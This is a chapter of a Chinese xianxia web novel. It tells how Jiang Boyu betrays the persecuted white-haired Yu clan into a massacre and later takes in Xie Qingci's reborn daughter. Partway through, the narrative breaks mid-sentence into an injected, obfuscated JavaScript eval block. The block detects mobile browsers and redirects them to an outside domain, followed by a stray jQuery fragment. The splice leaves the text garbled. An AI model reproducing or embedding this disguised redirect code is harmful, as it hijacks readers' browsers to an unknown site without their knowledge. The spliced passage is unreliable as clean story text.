80. 第 80 章
作品:《无情道师尊攻略我》 “姜兄,就是前面吗?这里是什么地方啊?”谢清词带着一众羽族人,小心翼翼地跟在姜泊渔身后。
“阿词,这儿真的有个世外桃源吗?我们不求世外桃源只求能安生过好日子就够了。”一个白发及腰的老婆婆佝偻着背说。
“阿词哥哥最历害了,阿词哥哥神通广大,一定能带我们找到一个没人追杀的好地方的。”
谢清词摸了摸小豆儿的浓密地垂下来的白发,小豆儿笑着也仰头看谢清词的,谢清词看着小豆儿甜甜的笑,看着他又长又密的白发,心想若是没有生这一头白发就好了。至少不用像现在这样。
谢清词不敢说自己一定护得住他们,他也只是笑笑。十七岁的他便开始担起守护整个族人的责任。若是他都说护不住了,那他的族人该得多绝望了。从前一些族中德高望重的族人都自杀了,因为忍受不了日日如此艰难地“苟活”。羽族人死后是连尸身都不能留的,先是被人割下头颅,尸身再被一把火烧个一干二净。
谢清词拉着小豆儿的手,跟随着姜泊渔一直往前走着,越往林中深处走,雾气越多,谢清词让族人们手拉手,谁也别走散了。
走了好一会儿还没到地,谢清词问姜泊渔,“姜兄,这是什么地方啊?还没到吗?”
“阿词你别总催人家,多远我们没走过呢?就这么点路程我还是能走的。”方才那个老婆婆说。
姜泊渔回头道:“快了。”
姜泊渔瞥了一眼这那位老婆婆,眸子微微动容,紧接着他浑身都一颤,低头,一个长得雪玉可爱的小孩眼巴巴地拉着他的手,对他甜甜地笑着,说,“大哥哥,你真好。你比阿词哥哥第二好的人。谢谢你!谢谢你带我们去那个地方。这样我阿爷就不用再流血了,我阿妹也不用再饿肚子了。还有阿婆,就不用再到处逃跑了。大家都不会再离开了。谢谢你大哥哥。”
谢清词也不知道小豆儿什么时候跑到姜泊渔那儿去的,他哭笑不得地对姜泊渔道,“你别介意,小豆儿天生就爱表达自己,他很喜欢你才这样说的。你别嫌弃太过煽情。”
姜泊渔却久久低头看着对他笑着的小豆儿,他眸子的东西,似乎在这时候,有了裂痕。小豆儿以为姜泊渔是不喜欢他拉着他的手,便讪讪地松开了。不过还是甜甜对姜泊渔笑着。
老婆婆唤小豆儿,“快回来,别麻烦这位大哥哥。”
谢清词也笑道:“小豆儿,我看你是有了他,就彻底抛弃我了是吗?”
这句话堪堪说完,下一秒,谢清词的瞳孔就颤抖着缩得极小极小。
尖锐一声划破寂静的深空,一支箭从深林深处射下来,直直飞向姜泊渔所在的地方。
这支箭对姜泊渔来说本来不算什么,根本伤不到他。
他转头看着那枚箭朝他飞来,像是放慢了数倍速度,待他正要抬手,却猛地接住一具倒下的小尸体。
站在姜泊渔旁边的小豆儿什么也不懂。
他只知道,他不想让大哥哥受伤。
小豆儿无力地倒在姜泊渔怀中,他轻得像是一根羽毛,姜泊渔几乎感知不到重量。长箭将小豆儿单薄的身躯整个贯穿,这支箭比他这个人还要长一些,就这样轻轻松松地将他穿了个透,他这么小的身躯,血都流不了多少。没有挣扎几秒,就断了气。
谢清词飞身过去要接住小豆儿,中途却见无数箭矢忽然之间铺天盖地地飞射下来,谢清词只得拔剑抵挡。那瞬间,箭矢穿透身体的声音接连响起,此起彼伏,像是林中的鸟儿的呜咽。
无数羽族人倒下,无数白发首尾相连,土地上灌满了血液,林中皆是横七竖八的尸体。那位老婆婆还没来得及唤一句小豆儿,就被箭矢贯穿,睁着眼睛就直直地倒下去了。
谢清词不知道该叫谁的名字,死的族人太多,他唤不过来,只得强忍着泪水继续用剑抵挡飞射的箭矢。
而姜泊渔呢?他抱着小豆儿,不知道在想什么。
渐渐地,箭矢减少了,却见林子里倏地冒出数不胜数的修士,各个手持宝剑法宝,目露凶狠地瞪着谢清词。
谢清词护着仅剩的族人,刚想要逃跑,却见另一个方向也迎面冒出一队人,拿剑指着他们,见羽族人如今模样,得意地笑着,“哈哈哈,事到如今还想反抗,还不死心?一群贱种!命够大的,可让我们好找。”
“今日乖乖给我磕个头求个饶,我就留你们一具全尸。”
谢清词狠狠地瞪着他们,恨得牙都磨得咯咯响,他一手护着身后的羽族人,一手拿剑指着那些人。“你们怎么会知道这里?”
“死到临头了,我还是让你们死得瞑目些吧……”
空中倏地响起尖锐一声,那人话还没说完,就被身后飞射而来的箭矢穿透头颅,瞬间毙命,“轰”地倒在地上,紧接着,轰声接连响起。
挡在谢清词身前的人纷纷被身后的箭矢贯穿,接连倒下,随后林中缓缓露出一个朝着谢清词走来的身影。
楚羽一身青衣,几乎融入深林之中,像一颗毅力百年的木,沉稳地向他走来。
谢清词带着羽族人快步上前,同楚羽接应,谢清词:“阿楚,你怎么知道我在这里?你怎么知道我们有难的?”
楚羽沉着眸子死死盯着那些试图逼近的人,林中人还藏着数不尽的修士,正对他们虎视眈眈,楚羽没几乎回答谢清词的话,他道:“等我们顺利活着出去,我再告诉你。”
谢清词点头,同楚羽背对着背并肩作战,楚羽让一队人护着羽族人先逃离这个地方,他们在前方断后。
这时候,谢清词到处都没有看见姜泊渔,此时此刻,他已经再也没有任何心心思再去怀疑姜泊渔了。他只想现在心中唯一想的就是祈求这一战中,最好不要灭族才是。
倘若真的如此,那他谢清词将会成为那个千古罪人啊!
可是,随着这边风头越来越大,越来越多修士涌入这片断头林围剿羽族人,一波未平一波又起,饶是谢清词和楚羽灵力再深厚也显得力不从心。
而今,他们所处的这片断头林正坐落在太一城,众所周知太一城处于冥域之地与人界的交界处,邪祟肆虐,时常动荡。现在,他们出了这断头林,再往东走一直走,前端更是一条通向地狱的死路。
从这绝路之中缓缓往外流出一汪海水,黑沉沉,丝绸般在月夜下飘荡着,从冥域之地流出来的水,谁都知道就是无妄海海水,是这世间最阴毒的东西。只消一碰,邪气邪物都叫嚣着涌入身体开始横冲直撞,待在其中的每一分每一秒都是受罪。
楚羽和谢清词以及一队羽族人被逼退到了此处。
前端无数人听闻了羽族人的消息,黑压压地逼近,“楚羽,你身为剑宗仙长,公然包庇这群该死的贱种,你到底想要做什么?要同所有人为敌吗?”
“你给滚开,交出这些该死的孽障!不然就算是你有着守护结界的功劳,我们也照样不留情面!”
一群名门正派,对着楚羽居高临下地叫嚣着,喊打喊杀。
但是楚羽坚决不退让,冷声道:“不用对我留情面。尽管来。”
话音落下,楚羽忽然一个趔趄被身后人推了出去,他回头看向谢清词,谢清词垂着眸,“阿楚你走吧。你已经为我做得够多了。”
闻言,名门正派们放声笑起来,施施然地等待着楚羽失魂落魄地回到他们那一边。楚羽知道那些人不杀他而是劝他过去,只是因为他对他们来说还有价值。他们楚家世代守着结界,若是而今楚羽没了,又有谁来免费替他们卖力。
楚羽忽然真想要看看,若是他死了。世人会如何。
楚羽回头看,所有人羽族人的眼里都露出了走到死路的绝望。谢清词眸子里透着深深的无力,他依然笑着,说:“真的,阿楚快回去吧。”
楚羽余光中是冥域之地涌出来的黑沉沉的海水,耳边是海水动荡着传出来的鬼嚎和流水声。他忽然冒出一个惊人的想法,他是真的没有办法了。
楚羽想能活着总比死了强。至少活着就有希望,即便痛苦也好过彻底麻木的死去。
所以这时刻,楚羽上前一步,当着众人的面,带着谢清词,带着所有羽族人,用灵力,将他们尽数藏入无妄海中。黑沉的海面破开,再合上。
谢清词身影没入海水之际,听见楚羽悲怆的声音,“对不起,对不起。我护不住你们,只能这么做。有生之年若是能出来的话,一定一定来找我。”
谢清词的话还没来得及说出口,就被无妄海吞噬了。
在众人惊恐的震惊的目光中,无妄海海面瞬间陷入一片死寂。那些羽族人就这样永远地沉入其中。
这海水又阴又毒,想要进入容易,而想要出来却比羽族人想要活着还更难,只要进去了就有无数恶鬼邪物死死缠着你绞着你不放,其海水也自发地形成移一道禁锢,落入其间的所有东西都别想离开。这海水会日日夜夜地侵蚀他们,却无法让他们死去。
虽然没能杀死羽族人,不过如此也算是彻底消灭了羽族人的灭世威胁。他们永远不可能再出来了。人间因此彻底平息长达数月的对羽族人的围剿,终于渐渐稳定下来。
楚羽趔趄着找到姜泊渔的时候,下着暴雨,姜泊渔在荒郊野岭,正在挖一个墓坑,准备把那个死在他怀里的孩子埋掉。雨水冲刷干净了孩子身上的血,黄泥水混杂着血水一起流淌。
按理说,羽族人“罪大恶极”“罄竹难书”,是没有资格葬下的,生前被万万人唾弃,死后也该死无葬身之地,下无间地狱才是。
所以姜泊渔才走了这么远,找了个这么偏僻的地方,将小豆儿埋下。
楚羽像是失了魂魄,踉踉跄跄地走过去,见到姜泊渔,二话没说一拳狠狠挥过去,姜泊渔没防备,像是就等着楚羽这一拳,就等着楚羽狠狠揍他。
姜泊渔被一拳打得跌倒在湿烂的泥泞中,干净的脸都贴在了脏污不堪的血水和泥水里,他没动,似乎等着楚羽的下一拳,可这一拳头始终没有落下。姜泊渔睁眼,看见的是小豆儿青白的脸,抬眼,是暴雨下楚羽又愤又恨的样子。楚羽看向他的眼神变得十分陌生。
楚羽:“是不是你?那些人是不是你让他们埋伏在那里的?你骗阿词说你找到一个世外桃源,你带他的族人过去。什么世外桃源,都是假的,只有你想杀他们的心才是真的!之前,羽族人躲在在盘龙峡时,阿词的身世也是你透露出去的?你害得他们的藏身之所被发现,害得阿词遭受追杀。”
“为什么!”他这一声穿透所有暴雨,一字字砸在姜泊渔心头,楚羽继续道:“为什么要这么做!就算阿词之前同你有点小过节,但他也罪不至此!你到底为什么要这么做!”
姜泊渔失神地倒在泥地中,仍由泥水冲刷他的脸,他忽然翻了个身,仰躺着,铺天盖地的暴雨仿佛要把他砸死,天边涌动的滚雷仿佛要把他劈死。他失神地回想自己到底为什么要这么做?
这还得从天道的光柱亮起,他得到天道降下来的神器,同时也得到了天道降给他的考验。
“你愿意为了天下人,除掉所有羽族人吗?”
这是天道给出的命题。
在此后的每个日日夜夜,这个问题无时不刻在折磨着他。
可心里又有个声音响起,“只要完成了天道任务你将成为这千百年来第一个十七岁便飞升成神的天才!”
“是啊,何况,羽族人确实该死。你灭了他们只是为了天下人着想啊。到时候你就是功臣。”
“羽族人本来就不该存在于这世间。活着只会给人族带来灭世威胁。”
“对啊,那些羽族人也不是什么好东西,谢清词从前都那样误会你了,其实他早就对你不满想杀你了。羽族人都是那样。羽族人该死。你杀了他们是对的。你杀了他们是为了天下人,是属大义。”
“而且谢清词不是说过吗?他们羽族人真的想过灭世。他们果然不是什么好人。心里指不定装着一肚子坏水。我们若是不先灭了他们,等他们强大起来一定会弄死我们。得杀。”
这些声音在他心底盘桓。
姜泊渔满脑子:“得杀!”“该死!”“大义!”
就这样,催促这他最终谋划了这一切,最终踏上了这一步。
暴雨倾泄,雷声轰隆,楚羽走了。
只留下姜泊渔一人,躺在烂泥里,仿佛想让这暴雨将他掩埋,他不记得自己是怎样将小豆儿埋下的。他在泥泞的土里爬起来,又给小豆儿竖了块烂木头,作为碑。
这场雨下漫天弥地,似乎没有终时。
转眼就下到了五年后的一个下着雨丝的傍晚,太一城中与冥域之地交界的地带人烟变得稀少,因为邪祟邪气侵扰,人们纷纷搬离这里。
一个穿着白道袍戴着斗笠背着一个箩筐的男子,站在冥域之地最边界,无妄海海水的边上,暮色沉沉的傍晚,雨水接连落在海面上,黑沉的海面像是沸腾起来了。
没人知道,这位老道守着海边一盏莲花灯,守了七天七夜,此刻正是第七天,鲜红明艳的莲花在海边渐渐枯萎下去。然而,莲花枯萎下去的时候,莲花之中一个小女孩随之升来。
她抬起头,舒展着手脚,站起来,像是一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16393750|176033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
颗快速成长起来的小树。
小女孩满头白发垂下来,寸缕不着地站在暮色的雨中,眨着懵懂的眼看向眼前这位白袍道长,“道长你见过我爹吗?”
姜泊渔眼底有了笑意,莲转生,成功了。
他道:“你爹?”
小女孩点点头,“对,我爹,我爹刚才还在和我玩大侠和刺客的游戏。每次和爹爹一起玩游戏的时候,我就不那么痛了。我是大侠,我爹是刺客,我被刺客杀了。咦,我现在怎么出现在了这里?”
姜泊渔没打伞打,仍由雨丝将他打湿,他蹲下身,放下背着的背篓,从里面拿出准备好的衣裳,蹲下,简单地替小女孩穿上,他最后在扯了扯小女孩的上衣,虽然里衣服没有捋直,衣角也是皱在一起的,但小女孩挺高兴,道:“道长,你认识我爹对吧?你是我爹的什么人?这里是哪里?”
姜泊渔动作一顿,良久才道:“你以后就跟着我。”
“那我爹呢?”
还没姜泊渔答话,小女孩便开始惊喜自言自语起来。
“唉,这是什么地方?这是世外桃源吧!这个地方一点也不会让我痛让难受!和我住的地方完全不一样!这里也美好,太美好了吧!”小女孩高心地转圈圈。
“道长,能不能将我爹和我娘亲也带来这个地方?还有王家的大豆子,李家二狗子,张家的小妹妹和她的老婆婆,还有……你能不能一起带出来。一起带过来这个地方啊。这世界上竟然还会这样的好地方!我想和爹爹他们一起过来。”
姜泊渔眸色暗了暗,不忍心掐灭小女孩子的幻想,他只是再次蹲下,将小女孩抱进了背篓中,他道:“以后我就是你师父。”
小女孩眨着清澈的眼,坐在背篓中,起初还有点不明白师父这个词的含义,她良久才问,“师父是什么?能吃吗?”
姜泊渔不知该哭还是该笑,他道:“师父是护着你教导你的人。不能吃。”
小女孩吮手指头,眨巴着眼睛,姜泊渔:“……”这家伙貌似只是饿了而已。他还真傻乎乎第回答说不能吃……
他真傻。
姜泊渔最终从兜里翻找出来一块饼子,递给小女孩,她叽叽喳喳个没完没了的嘴巴瞬间闭上了。小小的身子缩在背篓里,安分得不行。
姜泊渔蹲下身,背起背篓,而背篓后的小女孩专心致志地啃着饼子,在暮色的雨丝下,一路颠簸着,就这样离开那片无尽之海。
姜泊渔心想,谢清词那家伙到底多久没给这家伙吃东西了。
他回忆起这五年,他试遍了各种方法,终于找到了能够再次见到谢清词的办法。当姜泊渔时隔五年再次站在谢清词眼前的时候,他现在仍然记得谢清词的表情,由惊诧转为茫然,最后交织悲喜和爱恨在脸上复杂地打转。
五年时间,谢清词有了一个女儿,姜泊渔见到谢清词的时候,那个女孩正抱着谢清词的大腿同时也好奇地望着姜泊渔。
这一年,当初三个约定一同闯荡江湖的朋友渐渐走散了,除了姜泊渔,其他两位都已成家立业,有了各自的孩子。只剩姜泊渔一个人永远地背着罪恶在前行。
姜泊渔和谢清词相视而立,像是过了一个世纪那么久,直到小女孩问谢清词,“爹,这个人是谁啊?”
他粲然一笑,这一瞬,往日恩怨俱消。谢清词道:“朋友。”
“朋友”这一词在姜泊渔脑海中激荡着,破碎了他的回忆,他只记得谢清词对他说过的最后一句话。
“若是可以,你带她走吧。我不会离开。请你掩藏住她的身世。你让她忘了我,我只要她开心快乐,千万别把她卷入我们族人的纷争中。”
“千万别把她卷入我们族人的纷争中。”
姜泊渔被这一句话惊醒,他走到半路又将背篓放下来,抬手施动法术,女孩的满头白发缓缓褪去白色,染上黑色亮泽。
他这才舒了口气。
姜泊渔准备带着小女孩回云隐神山,不论如何他都会劝师长和师兄弟接纳她的。就算他们不同意,姜泊渔也不会放手。
他不知道自己这么做到底是为了赎罪,还是自欺欺人地想令自己因为罪恶而惶惶不安的心得到片刻解脱。不管怎么样,他还是这么做了。
走到太一城城外的时候,夜雨渐渐停了。姜泊渔城外的野岭碰见一个背着男子尸身艰难前行的女子。
不知是出于什么心理,姜泊渔叫住她,将莲转生交给了那个女人。
随后姜泊渔便背着小女孩离开了。也许是因为一切罪恶源于这朵天道降落的神器。他想扔掉这个神器,也扔掉过往一切。
这双生莲,他只用了一朵。剩下的这一朵,姜泊渔不想留着。只要看见就能想起他做过的事情,想起一切的罪恶。
他要彻底同过去做个了断,仿佛这样,他就没做过那些事情。
所以姜泊渔随手把莲转生送了出去。反正这东西他留着没什么大用处了。
他没想到,就是他这随手一个动作,却为将来十几年后的人间大乱,埋下隐患。
姜泊渔大概也想不到,而今,这个隐患,正透过十几年的光阴在看着他。
他背着背篓,沿着山路继续前行,雨后的暮色下,路面泛着亮光,将小女孩的面容照得莹白一片,而谢温站在原地目送从前的自己在寒雨连山中的缓缓离去。她面上也一片莹白,不过是被泪水浸湿,满面悲怆的白。
晋华然却不受控制地兴奋起来,这种兴奋,也许源自于他内心的猜想终于得到了证实!源自于,一个在世间茫茫行走数百年的人,在这个格格不入的世界里找到同类!
他是多么欣喜,多么兴奋啊!高兴地面容抑制不住地扭曲起来,笑得声音都在急剧地颤抖。
楚衔越站在谢温身边,隐约听见了扭曲的笑声,他朝着笑声传来的方向看去,看见了寒山下,晋华然扭曲的脸。
不对!为什么他能看到他,能听到他的声音!这个卷轴的记忆还没有结束。
楚衔越心底升起密密麻麻的寒意,整个人像是冻住了,从头凉到了尾,他想起来姜泊渔和谢清词说过的话。
“两朵莲转生根系相连。若是其中一朵死了,另一朵还活着,死去的那朵就能借着活着那朵再次重生。”
“死去的那一朵莲,要想再次重生需要多久?”
“只需七七四十九天,在第四十九天的一个月圆之夜。”
而这一天,恰好正是晋华然死去的第四十九天。
雨停了,山间云雾渐渐散去,暮蓝色的天边露出了一弯月牙,散出冷铁般的锋芒。